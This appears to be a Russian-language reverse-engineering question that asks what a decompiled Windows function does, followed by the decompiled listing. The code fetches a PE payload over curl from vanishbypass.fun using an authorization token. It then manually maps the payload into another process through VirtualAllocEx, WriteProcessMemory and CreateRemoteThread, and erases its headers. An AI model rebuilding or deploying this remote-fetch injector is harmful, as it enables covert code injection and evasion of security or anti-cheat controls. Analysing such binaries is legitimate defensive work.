Что делает код если знать что это курл?

7ff66701143b      void var_128
7ff66701143b      int64_t rax_1 = data_7ff667084080 ^ &var_128
7ff667011453      int16_t* lpBuffer_3 = malloc(_Size: 1)
7ff667011458      int64_t var_d8 = 0
7ff66701145c      LPTHREAD_START_ROUTINE result = sub_7ff66701d140()
7ff667011461      int64_t* result_2 = result
7ff667011461      
7ff667011467      if (result != 0)
7ff667011476          int64_t* rax_3 = sub_7ff66701d400(nullptr, "Authorization: NzkwOTUwMDc4MTg5M…")
7ff6670114e7          int512_t zmm2
7ff6670114e7          sub_7ff66701fcb0(result_2, 0x2711, &lpBuffer_3, sub_7ff66701fcb0(result_2, 0x4e58, sub_7ff667011330, sub_7ff66701fcb0(result_2, 0x2b, 0, sub_7ff66701fcb0(result_2, 0x4e2b, sub_7ff6670112b0, sub_7ff66701fcb0(result_2, 0x2727, rax_3, sub_7ff66701fcb0(result_2, 0x2712, "https://vanishbypass.fun/static/…", zmm2))))))
7ff6670114ef          int32_t rax_4 = sub_7ff66701d200(result_2)
7ff6670114f9          sub_7ff66701d120(result_2)
7ff667011501          sub_7ff66701d4a0(rax_3)
7ff667011501          
7ff667011508          if (rax_4 == 0)
7ff66701150e              int16_t* lpBuffer_2 = lpBuffer_3
7ff66701150e              
7ff66701151d              if (*lpBuffer_2 == 0x5a4d)
7ff66701152a                  void* r14_1 = sx.q(*(lpBuffer_2 + 0x3c)) + lpBuffer_2
7ff667011542                  result = VirtualAllocEx(hProcess: arg1, lpAddress: nullptr, dwSize: zx.q(*(r14_1 + 0x50)), flAllocationType: MEM_COMMIT | MEM_RESERVE, flProtect: PAGE_READWRITE)
7ff667011542                  
7ff66701154e                  if (result != 0)
7ff667011554                      int32_t var_44 = 0
7ff667011569                      enum PAGE_PROTECTION_FLAGS var_108_1
7ff667011569                      var_108_1.q = &var_44
7ff667011571                      VirtualProtectEx(hProcess: arg1, lpAddress: result, dwSize: zx.q(*(r14_1 + 0x50)), flNewProtect: PAGE_EXECUTE_READWRITE, lpflOldProtect: var_108_1)
7ff667011584                      HMODULE (* const lpBuffer)(PSTR lpLibFileName) = LoadLibraryA
7ff667011595                      FARPROC (* const var_c0_1)(HMODULE hModule, PSTR lpProcName) = GetProcAddress
7ff6670115a3                      BOOLEAN (* const var_b8_1)(IMAGE_RUNTIME_FUNCTION_ENTRY* FunctionTable, uint32_t EntryCount, uint64_t BaseAddress) = RtlAddFunctionTable
7ff6670115a7                      int64_t var_a8_1 = 0
7ff6670115ab                      int64_t var_a0_1 = 1
7ff6670115b3                      int64_t var_90_1 = 1
7ff6670115bb                      LPTHREAD_START_ROUTINE result_1 = result
7ff6670115bf                      int64_t var_98_1 = 0
7ff6670115c3                      var_108_1.q = 0
7ff6670115c8                      BOOL rax_5 = WriteProcessMemory(hProcess: arg1, lpBaseAddress: result, lpBuffer: lpBuffer_2, nSize: 0x1000, lpNumberOfBytesWritten: var_108_1)
7ff6670115d0                      LPTHREAD_START_ROUTINE rax_9
7ff6670115d0                      
7ff6670115d0                      if (rax_5 != 0)
7ff6670115db                          int32_t i = 0
7ff6670115db                          
7ff6670115e7                          if (*(r14_1 + 6) != 0)
7ff6670115e9                              void* rbx_4 = zx.q(*(r14_1 + 0x14)) + 0x2c + r14_1
7ff6670115e9                              
7ff667011629                              do
7ff6670115f0                                  int32_t rax_6 = *(rbx_4 - 4)
7ff6670115f0                                  
7ff6670115f5                                  if (rax_6 != 0)
7ff667011606                                      var_108_1.q = 0
7ff667011606                                      
7ff667011616                                      if (WriteProcessMemory(hProcess: arg1, lpBaseAddress: zx.q(*(rbx_4 - 8)) + result, lpBuffer: zx.q(*rbx_4) + lpBuffer_2, nSize: zx.q(rax_6), lpNumberOfBytesWritten: var_108_1) == 0)
7ff667011616                                          goto label_7ff6670118fc
7ff667011616                                  
7ff667011621                                  i += 1
7ff667011623                                  rbx_4 += 0x28
7ff667011629                              while (i != zx.d(*(r14_1 + 6)))
7ff667011629                          
7ff667011644                          rax_9 = VirtualAllocEx(hProcess: arg1, lpAddress: nullptr, dwSize: 0x40, flAllocationType: MEM_COMMIT | MEM_RESERVE, flProtect: PAGE_READWRITE)
7ff667011644                      
7ff667011650                      if (rax_5 == 0 || rax_9 == 0)
7ff6670118fc                          label_7ff6670118fc:
7ff66701190b                          VirtualFreeEx(hProcess: arg1, lpAddress: result, dwSize: 0, dwFreeType: MEM_RELEASE)
7ff667011650                      else
7ff66701165c                          enum PAGE_PROTECTION_FLAGS lpNumberOfBytesWritten
7ff66701165c                          lpNumberOfBytesWritten.q = 0
7ff66701166b                          BOOL rax_10 = WriteProcessMemory(hProcess: arg1, lpBaseAddress: rax_9, &lpBuffer, nSize: 0x40, lpNumberOfBytesWritten)
7ff667011673                          LPTHREAD_START_ROUTINE rax_11
7ff667011673                          
7ff667011673                          if (rax_10 != 0)
7ff667011692                              rax_11 = VirtualAllocEx(hProcess: arg1, lpAddress: nullptr, dwSize: 0x1000, flAllocationType: MEM_COMMIT | MEM_RESERVE, flProtect: PAGE_EXECUTE_READWRITE)
7ff667011692                          
7ff66701169e                          if (rax_10 == 0 || rax_11 == 0)
7ff6670118f1                              VirtualFreeEx(hProcess: arg1, lpAddress: result, dwSize: 0, dwFreeType: MEM_RELEASE)
7ff66701190b                              VirtualFreeEx(hProcess: arg1, lpAddress: rax_9, dwSize: 0, dwFreeType: MEM_RELEASE)
7ff66701169e                          else
7ff6670116a4                              int32_t i_1 = 0
7ff6670116b3                              enum PAGE_PROTECTION_FLAGS var_108_2
7ff6670116b3                              var_108_2.q = 0
7ff6670116be                              BOOL rax_12 = WriteProcessMemory(hProcess: arg1, lpBaseAddress: rax_11, lpBuffer: sub_7ff667011940, nSize: 0x1000, lpNumberOfBytesWritten: var_108_2)
7ff6670116c6                              HANDLE hObject
7ff6670116c6                              
7ff6670116c6                              if (rax_12 != 0)
7ff6670116dd                                  var_108_2.q = rax_9
7ff6670116e5                                  hObject = CreateRemoteThread(hProcess: arg1, lpThreadAttributes: nullptr, dwStackSize: 0, lpStartAddress: rax_11, lpParameter: var_108_2, dwCreationFlags: 0, lpThreadId: nullptr)
7ff6670116e5                              
7ff6670116ee                              if (rax_12 == 0 || hObject == 0)
7ff6670118c2                                  label_7ff6670118c2:
7ff6670118c2                                  VirtualFreeEx(hProcess: arg1, lpAddress: result, dwSize: 0, dwFreeType: MEM_RELEASE)
7ff6670118d7                                  VirtualFreeEx(hProcess: arg1, lpAddress: rax_9, dwSize: 0, dwFreeType: MEM_RELEASE)
7ff66701190b                                  VirtualFreeEx(hProcess: arg1, lpAddress: rax_11, dwSize: 0, dwFreeType: MEM_RELEASE)
7ff6670116ee                              else
7ff6670116f7                                  CloseHandle(hObject)
7ff6670116f7                                  
7ff667011704                                  while (true)
7ff667011704                                      int32_t lpExitCode = 0
7ff66701170a                                      GetExitCodeProcess(hProcess: arg1, &lpExitCode)
7ff66701170a                                      
7ff667011717                                      if (lpExitCode != 0x103)
7ff667011717                                          goto label_7ff667011911
7ff667011717                                      
7ff667011720                                      var_108_2.q = 0
7ff667011735                                      int128_t var_88
7ff667011735                                      __builtin_memset(s: &var_88, c: 0, n: 0x28)
7ff667011741                                      int128_t var_58_1 = zx.o(0)
7ff667011745                                      ReadProcessMemory(hProcess: arg1, lpBaseAddress: rax_9, lpBuffer: &var_88, nSize: 0x40, lpNumberOfBytesRead: var_108_2)
7ff667011756                                      int64_t var_68
7ff667011756                                      
7ff667011756                                      if (var_68 == 0x404040)
7ff667011756                                          goto label_7ff6670118c2
7ff667011756                                      
7ff667011761                                      Sleep(dwMilliseconds: 0xa)
7ff667011761                                      
7ff66701176a                                      if (var_68 != 0)
7ff667011771                                          int64_t lpBuffer_1
7ff667011771                                          int64_t rdx_9
7ff667011771                                          lpBuffer_1, rdx_9 = malloc(_Size: 0x100000)
7ff667011771                                          
7ff667011782                                          if (lpBuffer_1 == 0)
7ff66701178b                                              sub_7ff667011250("[-] emptyBuffer == nullptr\n", rdx_9)
7ff667011790                                              break
7ff667011790                                          
7ff6670117a0                                          memset(dest: lpBuffer_1, c: 0, count: 0x100000)
7ff6670117ab                                          var_108_2.q = 0
7ff6670117b9                                          WriteProcessMemory(hProcess: arg1, lpBaseAddress: result, lpBuffer: lpBuffer_1, nSize: 0x1000, lpNumberOfBytesWritten: var_108_2)
7ff6670117b9                                          
7ff6670117cd                                          if (*(r14_1 + 6) != 0)
7ff6670117cf                                              int32_t* rbx_9 = zx.q(*(r14_1 + 0x14)) + 0x3c + r14_1
7ff6670117cf                                              
7ff667011832                                              do
7ff6670117d7                                                  uint64_t dwSize = zx.q(rbx_9[-7])
7ff6670117d7                                                  
7ff6670117dc                                                  if (dwSize.d != 0)
7ff6670117de                                                      int32_t rax_13 = *rbx_9
7ff6670117e0                                                      lpExitCode = 0
7ff6670117ec                                                      enum PAGE_PROTECTION_FLAGS flNewProtect
7ff6670117ec                                                      
7ff6670117ec                                                      if ((rax_13 & 0x80000000) u<= 0)
7ff6670117fb                                                          flNewProtect = PAGE_READONLY
7ff6670117fb                                                          
7ff667011801                                                          if ((rax_13 & 0x20000000) u> 0)
7ff667011801                                                              flNewProtect = PAGE_EXECUTE_READ
7ff6670117ec                                                      else
7ff6670117ee                                                          flNewProtect = PAGE_READWRITE
7ff6670117ee                                                      
7ff66701180f                                                      var_108_2.q = &lpExitCode
7ff66701181a                                                      VirtualProtectEx(hProcess: arg1, lpAddress: zx.q(rbx_9[-6]) + result, dwSize, flNewProtect, lpflOldProtect: var_108_2)
7ff66701181a                                                  
7ff66701182a                                                  i_1 += 1
7ff66701182c                                                  rbx_9 = &rbx_9[0xa]
7ff667011832                                              while (i_1 != zx.d(*(r14_1 + 6)))
7ff667011832                                          
7ff66701183c                                          int32_t var_40 = 0
7ff667011853                                          var_108_2.q = &var_40
7ff667011858                                          VirtualProtectEx(hProcess: arg1, lpAddress: result, dwSize: zx.q(*(zx.q(*(r14_1 + 0x14)) + r14_1 + 0x24)), flNewProtect: PAGE_READONLY, lpflOldProtect: var_108_2)
7ff66701186c                                          var_108_2.q = 0
7ff667011874                                          WriteProcessMemory(hProcess: arg1, lpBaseAddress: rax_11, lpBuffer: lpBuffer_1, nSize: 0x1000, lpNumberOfBytesWritten: var_108_2)
7ff667011889                                          VirtualFreeEx(hProcess: arg1, lpAddress: rax_11, dwSize: 0, dwFreeType: MEM_RELEASE)
7ff66701189e                                          VirtualFreeEx(hProcess: arg1, lpAddress: rax_9, dwSize: 0, dwFreeType: MEM_RELEASE)
7ff6670118a9                                          free(_Block: lpBuffer_3)
7ff6670118af                                          result.b = 1
7ff6670118b1                                          goto label_7ff66701191a
7ff6670118b1      
7ff667011911      label_7ff667011911:
7ff667011911      result.b = 0
7ff66701191a      label_7ff66701191a:
7ff66701191a      __security_check_cookie(rax_1 ^ &var_128)
7ff66701193f      return result